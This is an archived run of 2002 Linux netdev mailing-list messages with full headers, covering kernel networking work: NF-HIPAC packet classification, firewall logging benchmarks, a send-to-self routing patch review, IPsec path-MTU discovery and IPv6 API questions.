Thu, 26 Sep 2002, James R. Leu wrote: > I missed the original post. Is there a patch availble for testing? I don't think so, you can follow the lkml thread from http://marc.theaimsgroup.com/?l=linux-kernel&m=103299391126734&w=2 (Jamal asked for the discussion to be cc'd to netdev). - James -- James Morris From mdews@centenary.edu Thu Sep 26 11:40:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 11:40:26 -0700 (PDT) Received: from webmail.centenary.edu (webmail.gents.centenary.edu [198.137.145.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QIeHtG014193 for ; Thu, 26 Sep 2002 11:40:19 -0700 X-WebMail-UserID: mdews Date: Thu, 26 Sep 2002 13:40:07 -0500 From: mdews To: netdev@oss.sgi.com Cc: mdews@centenary.edu X-EXP32-SerialNo: 00002337 Subject: Message-ID: <3D87EF67@webmail.centenary.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: WebMail (Hydra) SMTP v3.61.08 X-archive-position: 327 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mdews@centenary.edu Precedence: bulk X-list: netdev I have a problem with my newly installed firewall. A friend installed it for me and now I can't download music or some other things. Is there a way around this and if so how. From ratz@drugphish.ch Thu Sep 26 13:22:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 13:22:29 -0700 (PDT) Received: from mailphish.drugphish.ch (adsl-196-233.cybernet.ch [212.90.196.233]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QKMQtG030054 for ; Thu, 26 Sep 2002 13:22:27 -0700 Received: from drugphish.ch (laphish.drugphish.ch [172.23.2.141]) by mailphish.drugphish.ch (drugphish mail transportation agency) with ESMTP id 12F86207A; Thu, 26 Sep 2002 20:14:49 +0000 (/etc/localtime) Message-ID: <3D936CB9.1040706@drugphish.ch> Date: Thu, 26 Sep 2002 22:23:21 +0200 From: Roberto Nibali User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: jamal Cc: niv@us.ibm.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 328 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ratz@drugphish.ch Precedence: bulk X-list: netdev Hello Jamal, [took out AK und DaveM since I know they both read netdev and this reply is not really of any relevance to them] > It would be nice if people would start ccing networking related > discussions to netdev. I missed the first part of the discussion > but i take it the NF-HIPAC posted a patch.. BTW, I emailed the authors Yes, your assumption is correct and sorry for missing the cc once again. > when i read the paper but never heard back. > What i wanted the authors was to compare against one of the tc > classifiers not iptables. I will contact you privately on this issue since I'm about to conduct tests this weekend. > I hacked some code using the traffic control framework around OLS time; > there are a lot of ideas i havent incorporated yet. Too many hacks, too > little time ;-> I think this is what i may have showed Roberto on my > laptop over a drink. Exactly (even wearing a netfilter T-shirt). > I probably wouldnt have put this code out if my complaints about > netfilter werent ignored. > And you know what happens when you start writting poetry, I ended worrying > more than just about the performance problems of iptables; for example > the code i have now makes it easy to extend the path a packet takes using > simple policies. Great, I remember some of your postings about the netfilter framework. > The code i have is based around tc framework. One thing i liked about > netfilter is the idea of targets being separate modules; so the code i > have infact makes uses of netfilter targets. > I plan on revisiting this code at some point, maybe this weekend now that > i am reminded of it ;-> Excellent, this could make it into my test suites as well. > Take a look: > http://www.cyberus.ca/~hadi/patches/action.DESCRIPTION I did, I simply didn't find the time to do it. > Agreed, you need a netlink to syslog converter. > Netlink is king -- all the policies in the above code are netlink > controlled. All events are also netlink transported. You dont have to send > every little message you see; netlink allows you to batch and you could > easily do a nagle like algorithm. Next steps are a distributed version > of netlink.. Is there a code architecture draft somewhere? Best regards, Roberto Nibali, ratz -- echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc From ratz@drugphish.ch Thu Sep 26 13:48:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 13:48:22 -0700 (PDT) Received: from mailphish.drugphish.ch (adsl-196-233.cybernet.ch [212.90.196.233]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QKmItG000995 for ; Thu, 26 Sep 2002 13:48:19 -0700 Received: from drugphish.ch (laphish.drugphish.ch [172.23.2.141]) by mailphish.drugphish.ch (drugphish mail transportation agency) with ESMTP id C98E3207A; Thu, 26 Sep 2002 20:40:41 +0000 (/etc/localtime) Message-ID: <3D9372CA.7080203@drugphish.ch> Date: Thu, 26 Sep 2002 22:49:14 +0200 From: Roberto Nibali User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen Cc: "David S. Miller" , niv@us.ibm.com, linux-kernel@vger.kernel.org, jamal , netdev Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification References: <3D924F9D.C2DCF56A@us.ibm.com.suse.lists.linux.kernel> <20020925.170336.77023245.davem@redhat.com.suse.lists.linux.kernel> <20020925.172931.115908839.davem@redhat.com> <3D92CCC5.5000206@drugphish.ch> <20020926140430.E14485@wotan.suse.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 329 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ratz@drugphish.ch Precedence: bulk X-list: netdev > For iptables/ipchain you need to write hierarchical/port range rules > in this case and try to terminate searchs early. We're still trying to find the correct mathematical functions to do this. Trust me, it is not so easy, the mapping of the port matrix and the network flow through many stacked packet filters and firewalls generates a rather complex graph (partly bigraph (LVS-DR for example)) which has complex structures (redundancy and parallelisations). It's not that we could sit down and implement a fw-script for our packet filters, the fw-script is being generated through a meta-fw layer that knows about the surrounding network nodes. > But yes, we also found that the L2 cache is limiting here > (ip_conntrack has the same problem) I think this weekend I will do my tests also measuring some cpu performance counters with oprofile, such as DATA_READ_MISS, CODE CACHE MISS and NONCACHEABLE_MEMORY_READS. > At least that is easily fixed. Just increase the LOG_BUF_LEN parameter > in kernel/printk.c Tests showed that this only helps in peak situations, I think we should simply forget about printk(). > Alternatively don't use slow printk, but nfnetlink to report bad packets > and print from user space. That should scale much better. Yes and there are a few things that my collegue found out during his tests (actually pretty straight forward things): 1. A big log buffer is only useful to come by peaks 2. A big log buffer while having high CPU load doesn't help at all 3. The smaller the message, the better (binary logging thus is an advantage) 4. The logging via printk() is extremely expensive, because of the conversions and whatnot. A rough estimate would be 12500 clock cycles for a log entry generated by printk(). This means that on a PIII/450 a log entry needs 0.000028s and this again leads to following observation: Having 36000pps which should all be logged, you will end up with a system having 100% CPU load and being 0% idle. 5. The kernel should log a binary stream, also the daemon that needs to fetch the data. If you want to convert the binary to human readable format, you start a process with low prio or do it on-demand. 6. Ideally the log daemon should be preemtible to get a defined time slice to do its job. Some test results conducted by a coworker of mine (Achim Gsell): Max pkt rate the system can log without losing more then 1% of the messages: ---------------------------------------------------------------------------- kernel: Linux 2.4.19-gentoo-r7 (low latency scheduling) daemon: syslog-ng (nice 0), logbufsiz=16k, pkts=10*10000, CPU=PIII/450 packet-len: 64 256 512 1024 2873pkt/s 3332pkt/s 3124pkt/s 3067pkt/s 1.4 Mb/s 6.6Mb/s 12.2Mb/s 23.9Mb/s daemon: syslog-ng (nice 0), logbufsiz=16k, pkts=10*10000, CPU=PIVM/1.7 packet-len: 64 256 512 1024 7808pkt/s 7807pkt/s 7806pkt/s pkt/s 3.8 Mb/s 15.2Mb/s 30.5Mb/s Mb/s ---------------------------------------------------------------------------------------------------------- daemon: cat /proc/kmsg > kernlog, logbufsiz=16k, pkts=10*10000, CPU=PIII/450 packet-len: 64 256 512 1024 4300pkt/s 3076pkt/s 2.1 Mb/s 24.0Mb/s daemon: ulogd (nlbufsize=4k, qthreshold=1), pkts=10*10000, CPU=PIII/450 packet-len: 64 256 512 1024 4097pkt/s 4097pkt/s 2.0 Mb/s 32 Mb/s daemon: ulogd (nlbufsize=2^17 - 1, qthreshold=1), pkts=10*10000, CPU=PIII/450 packet-len: 64 256 512 1024 6576pkt/s 5000pkt/s 3.2 Mb/s 38 Mb/s daemon: ulogd (nlbufsize=64k, qthreshold=1), pkts=1*10000, CPU=PIII/450 packet-len: 64 256 512 1024 pkt/s 4.0 Mb/s daemon: ulogd (nlbufsize=2^17 - 1, qthreshold=50), pkts=10*10000, CPU=PIII/450 packet-len: 64 256 512 1024 6170pkt/s 5000pkt/s 3.0 Mb/s 38 Mb/s Best regards, Roberto Nibali, ratz -- echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc From davem@redhat.com Thu Sep 26 13:53:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 13:53:05 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QKr3tG001454 for ; Thu, 26 Sep 2002 13:53:03 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA09597; Thu, 26 Sep 2002 13:46:08 -0700 Date: Thu, 26 Sep 2002 13:46:08 -0700 (PDT) Message-Id: <20020926.134608.31605412.davem@redhat.com> To: kuznet@ms2.inr.ac.ru Cc: mbp@samba.org, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case From: "David S. Miller" In-Reply-To: <200209261309.RAA17837@sex.inr.ac.ru> References: <20020926054721.GA6039@samba.org> <200209261309.RAA17837@sex.inr.ac.ru> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 330 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: kuznet@ms2.inr.ac.ru Date: Thu, 26 Sep 2002 17:09:11 +0400 (MSD) I do not understand why tcp_push_pending_frames() was not used there... maybe, there was some reason not to use it. Dave, do you not remember this? I was just trying to be too clever. That is all. From davem@redhat.com Thu Sep 26 13:59:25 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 13:59:27 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QKxPtG001854 for ; Thu, 26 Sep 2002 13:59:25 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id NAA09663; Thu, 26 Sep 2002 13:52:59 -0700 Date: Thu, 26 Sep 2002 13:52:59 -0700 (PDT) Message-Id: <20020926.135259.62665945.davem@redhat.com> To: jmorris@intercode.com.au Cc: rusty@rustcorp.com.au, nf@hipac.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter From: "David S. Miller" In-Reply-To: References: <20020925.224001.99456805.davem@redhat.com> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 331 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: James Morris Date: Fri, 27 Sep 2002 01:27:41 +1000 (EST) So, this could be used for generic network layer encapsulation, and be used for GRE tunnels, SIT etc. without the kinds of kludges currently in use? Sounds nice. Such IPIP tunnels have very real problems though, since only 64-bits of packet quoting are required in ICMP errors, it is often impossible to deal with PMTU requests properly, see "#ifndef I_WISH_WORLD_WERE_PERFECT" in net/ipv4/ip_gre.c From davem@redhat.com Thu Sep 26 14:37:54 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 14:37:58 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QLbstG003133 for ; Thu, 26 Sep 2002 14:37:54 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA10046; Thu, 26 Sep 2002 14:31:31 -0700 Date: Thu, 26 Sep 2002 14:31:31 -0700 (PDT) Message-Id: <20020926.143131.52117281.davem@redhat.com> To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org, usagi@linux-ipv6.org Subject: Re: [PATCH] IPv6: Don't Process ND Messages with Invalid Options From: "David S. Miller" In-Reply-To: <20020925.133031.538200492.yoshfuji@linux-ipv6.org> References: <20020925.133031.538200492.yoshfuji@linux-ipv6.org> X-FalunGong: Information control. X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 332 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: YOSHIFUJI Hideaki / $B5HF#1QL@(B Date: Wed, 25 Sep 2002 13:30:31 +0900 (JST) Linux happened to process invalid ND messages with invalid options such as - length of ND options is 0 - length of ND options is not enough Specification says that such messages must be silently discarded. This patch parses/checks ND options before it changes state of neighbour / address etc. and ignores such messages. Following patch is against linux-2.4.19. Patch applied to 2.4.x and 2.5.x, thanks a lot. Let us hope more patches like this one are coming :-) From mcmanus@datapower.ducksong.com Thu Sep 26 15:38:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 15:38:26 -0700 (PDT) Received: from datapower.ducksong.com (ip67-93-141-186.z141-93-67.customer.algx.net [67.93.141.186]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8QMcItG005840 for ; Thu, 26 Sep 2002 15:38:19 -0700 Received: (from mcmanus@localhost) by datapower.ducksong.com (8.11.6/8.11.6) id g8QMcr111343 for netdev@oss.sgi.com; Thu, 26 Sep 2002 18:38:53 -0400 Date: Thu, 26 Sep 2002 18:38:53 -0400 From: "Patrick R. McManus" To: netdev@oss.sgi.com Subject: netlink sockets and rtm_newlink messages Message-ID: <20020926223853.GA4062@ducksong.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 333 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcmanus@ducksong.com Precedence: bulk X-list: netdev hello - I've got a little userspace app that listens to a netlink socket and filters for messages of type RTM_NEWLINK to check for interfaces going up or down (checking ifi_flags to make that determination).. the only stumbling point is that I each time I do something like "ifconfig eth4 down" my app reads 2 identical RTM_NEWLINK messages instead of one (same behavior on up case too.) any thoughts on why? I didn't really know how to interpret sockaddr nl.nl_groups.. 1 seems to give me the same duplicates as ~0.. 0 gives me nothing. -Pat From kuznet@ms2.inr.ac.ru Thu Sep 26 18:00:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 18:00:50 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R10itG026590 for ; Thu, 26 Sep 2002 18:00:44 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id FAA19447; Fri, 27 Sep 2002 05:00:30 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209270100.FAA19447@sex.inr.ac.ru> Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this To: greearb@candelatech.COM (Ben Greear) Date: Fri, 27 Sep 2002 05:00:30 +0400 (MSD) Cc: netdev@oss.sgi.com In-Reply-To: <3D893ECC.4020906@candelatech.com> from "Ben Greear" at Sep 19, 2 07:15:01 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 334 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > The old way is broken, it sets the bound-device to 0 when sending > the syn-ack. Ben, this function is _not_ used to send syn-acks... > +#ifdef CONFIG_NET_SENDTOSELF > + if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), sk->bound_dev_if)) > +#else > if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) > +#endif This chunk is noop, sk here is a dummy socket internal to kernel, where sk->bound_dev_if is identical zero. Grep code to see what it is used for. The same ("noopness") is true about 90% of the patch. F.e. all the messing inside tcp with openreqs is noop. Essentially, the only chunk which has a real meaning is that one for fib_frontend.c. And it is simpler to do this with sysctl, compare to rp_filter at al. Alexey From greearb@candelatech.com Thu Sep 26 18:31:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 18:31:29 -0700 (PDT) Received: from grok.yi.org (IDENT:Ij1QQCqZ/L0asVhY1z8+G/RB/jmybgku@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R1VQtG028175 for ; Thu, 26 Sep 2002 18:31:26 -0700 Received: from candelatech.com (IDENT:SKhiJ7+1UNm8mqeUaF8dqvpBNKj+B8YH@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8R1Upv09186; Thu, 26 Sep 2002 18:30:51 -0700 Message-ID: <3D93B4CB.8040905@candelatech.com> Date: Thu, 26 Sep 2002 18:30:51 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: kuznet@ms2.inr.ac.ru CC: netdev@oss.sgi.com Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this References: <200209270100.FAA19447@sex.inr.ac.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 335 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev kuznet@ms2.inr.ac.ru wrote: > Hello! > > >>The old way is broken, it sets the bound-device to 0 when sending >>the syn-ack. > > > Ben, this function is _not_ used to send syn-acks... I am not so sure, untill I changed that method, it most certainly did not work. It could have been something other than the syn-ack that failed though... Unfortunately, I ripped out all of the printks, so I cannot easily back up my claims w/out poluting the code again. > > > >>+#ifdef CONFIG_NET_SENDTOSELF >>+ if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), sk->bound_dev_if)) >>+#else >> if (ip_route_output(&rt, daddr, rt->rt_spec_dst, RT_TOS(skb->nh.iph->tos), 0)) >>+#endif > > > This chunk is noop, sk here is a dummy socket internal to kernel, > where sk->bound_dev_if is identical zero. Grep code to see > what it is used for. Think about this: Suppose you are connecting to a listening socket that has been bound to a device. That creates the the temporary socket structure on the receive side, which is used to send the syn-ack. That temp socket structure must also be bound to the same device, or the ack will not get routed correctly back out of the right interface. As far as I can tell, the code must be patched as above or the temp socket will not use the correct bound device. Please explain how the syn-ack can get routed based on the parent's bound_dev_if if my assumption here is not correct. > > The same ("noopness") is true about 90% of the patch. F.e. all the messing > inside tcp with openreqs is noop. > > Essentially, the only chunk which has a real meaning is that one > for fib_frontend.c. And it is simpler to do this with sysctl, compare > to rp_filter at al. I will investigate that code...I haven't used sysctl on purpose before :) Thanks for the review, and I look forward to your response to my assertions! Ben > > Alexey > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From mcr@sandelman.ottawa.on.ca Thu Sep 26 20:01:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 20:01:24 -0700 (PDT) Received: from noxmail.sandelman.ottawa.on.ca (cyphermail.sandelman.ottawa.on.ca [192.139.46.78]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R31HtG029601 for ; Thu, 26 Sep 2002 20:01:17 -0700 Received: from sandelman.ottawa.on.ca (marajade.sandelman.ottawa.on.ca [192.139.46.20]) by noxmail.sandelman.ottawa.on.ca (8.11.6/8.11.6) with ESMTP id g8R30QG14801 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Thu, 26 Sep 2002 23:00:32 -0400 (EDT) Received: from marajade.sandelman.ottawa.on.ca (marajade [127.0.0.1]) by sandelman.ottawa.on.ca (8.12.3/8.12.3/Debian -4) with ESMTP id g8R30M87027454 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Thu, 26 Sep 2002 23:00:25 -0400 Received: from marajade.sandelman.ottawa.on.ca (mcr@localhost) by marajade.sandelman.ottawa.on.ca (8.12.3/8.12.3/Debian -4) with ESMTP id g8R30CX2027449; Thu, 26 Sep 2002 23:00:13 -0400 Message-Id: <200209270300.g8R30CX2027449@marajade.sandelman.ottawa.on.ca> To: "David S. Miller" cc: jmorris@intercode.com.au, rusty@rustcorp.com.au, nf@hipac.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [ANNOUNCE] NF-HIPAC: High Performance Packet Classification for Netfilter In-reply-to: Your message of "Thu, 26 Sep 2002 13:52:59 PDT." <20020926.135259.62665945.davem@redhat.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Thu, 26 Sep 2002 23:00:12 -0400 From: Michael Richardson X-archive-position: 336 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcr@sandelman.ottawa.on.ca Precedence: bulk X-list: netdev -----BEGIN PGP SIGNED MESSAGE----- >>>>> "David" == David S Miller writes: David> From: James Morris David> Date: Fri, 27 Sep 2002 01:27:41 +1000 (EST) David> So, this could be used for generic network layer encapsulation, and be David> used for GRE tunnels, SIT etc. without the kinds of kludges currently in David> use? Sounds nice. David> Such IPIP tunnels have very real problems though, since only 64-bits David> of packet quoting are required in ICMP errors, it is often impossible David> to deal with PMTU requests properly, see "#ifndef David> I_WISH_WORLD_WERE_PERFECT" in net/ipv4/ip_gre.c IPsec tunnels are even worse, because, not only is there not enough info returned, but, being paranoid, one should really not even trust it. ICMP Port not reachable for UDP port 500 are even more nasty, because sometimes they indicate a REAL problem :-) Eons ago, I proposed a way to deal with this problem, see: http://www.sandelman.ottawa.on.ca/SSW/ietf/draft-richardson-ipsec-pmtu-discovery-00.txt I think that now that Linux doesn't linearize skbuff's prior to passing them to protocol handlers, that I actually could get the fragment info from the skb chain. Excerpt from document: Gateway G2 upon receiving an ESP or AH packet that needs to be reassembled, MUST take note of the size largest fragment received. This value is compared to the previous largest fragment size. If this size has changed by more than 10%, or more than 2*MSL time (i.e. 2 minutes) has passed since the previous ICMP message, then an ICMP Datagram Too Big message is generated. The largest fragment size is initialized to 576 bytes. The ICMP datagram is addressed from gateway G2 to the originating node C, and gives a size that is based on the maximum fragment size (above), minus the IPsec overhead. The ICMP datagram is sent via the tunnel on which the IPsec packet was a member. I.e. the ICMP is encapsulated. A packet arriving at G1 with the DF bit set, does not cause the DF bit to be set on the encapsulating datagram. (proposal two changes the destination IP of the ICMP message) ] ON HUMILITY: to err is human. To moo, bovine. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Finger me for keys iQCVAwUBPZPJt4qHRg3pndX9AQGqYwP+JtDyOhQwV2kiFWqxs8H8QbU0OJmV/krd rNhapv6/qzxcqHHPWHiypxQLZ3uYHcNKfwdoQFhOgVxdZXivkOnvn9bjoKDIp+EL JKNNvSrHNZMJ9yQCqUnsI+2XknkR9bCOOK9DfTcJ9e2lSFlH7H1vSTnRo6GOJhVh arQUa22xoc8= =VAyj -----END PGP SIGNATURE----- From kuznet@ms2.inr.ac.ru Thu Sep 26 20:36:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 20:36:23 -0700 (PDT) Received: from sex.inr.ac.ru (sex.inr.ac.ru [193.233.7.165]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R3aJtG030483 for ; Thu, 26 Sep 2002 20:36:20 -0700 Received: (from kuznet@localhost) by sex.inr.ac.ru (8.6.13/ANK) id HAA19631; Fri, 27 Sep 2002 07:36:02 +0400 From: kuznet@ms2.inr.ac.ru Message-Id: <200209270336.HAA19631@sex.inr.ac.ru> Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this To: greearb@candelatech.com (Ben Greear) Date: Fri, 27 Sep 2002 07:36:02 +0400 (MSD) Cc: netdev@oss.sgi.com In-Reply-To: <3D93B4CB.8040905@candelatech.com> from "Ben Greear" at Sep 26, 2 06:30:51 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 337 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > Think about this: Suppose you are connecting to a listening socket that has been > bound to a device. That creates the the temporary socket structure > on the receive side, That does _not_. All transmits use listening socket structure. > can get routed based on the parent's bound_dev_if if my assumption here is > not correct. Find function tcp_v4_send_synack(), then tcp_v4_route_req() and derive that your modifications have exactly zero impact on it, sk->bound_dev_if is setup and used exactly like it was used before. Alexey From pekkas@netcore.fi Thu Sep 26 23:00:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 23:00:07 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R601tG002389 for ; Thu, 26 Sep 2002 23:00:02 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id g8R5xnX30096 for ; Fri, 27 Sep 2002 08:59:53 +0300 Date: Fri, 27 Sep 2002 08:59:49 +0300 (EEST) From: Pekka Savola To: netdev@oss.sgi.com Subject: Any effort to try to make IPv6 API more uniform? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 338 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Hello, In addition to IPv6 Basic & Advanced Sockets API document, I had a worry whether there would be any use trying to make some other API's more useful. For example, currently there is no standard (or even "semi-standard") way of getting IPv6 address(es) of a node. With IPv4 you can get this via ioctls or e.g. netlink. Netlink is notably a Linux-only thing. For application portability I would gather it might be nice to have some, if not a standard, at least something many similar vendors (e.g. Unix, Linux+BSD, ...) support. Any thoughts whether this would be useful and what would be the right path to take? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From greearb@candelatech.com Thu Sep 26 23:33:46 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Sep 2002 23:33:48 -0700 (PDT) Received: from grok.yi.org (IDENT:Ng4h8O9BUgAnXAYLlwGwQPZ0Xmj6u4/8@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8R6XjtG003064 for ; Thu, 26 Sep 2002 23:33:45 -0700 Received: from candelatech.com (IDENT:QKNytvnZyr4XJ5w7W/y1VxWNXa0XNyX2@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8R6XAv22018; Thu, 26 Sep 2002 23:33:10 -0700 Message-ID: <3D93FBA6.6080905@candelatech.com> Date: Thu, 26 Sep 2002 23:33:10 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: kuznet@ms2.inr.ac.ru CC: netdev@oss.sgi.com Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this References: <200209270100.FAA19447@sex.inr.ac.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 339 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: 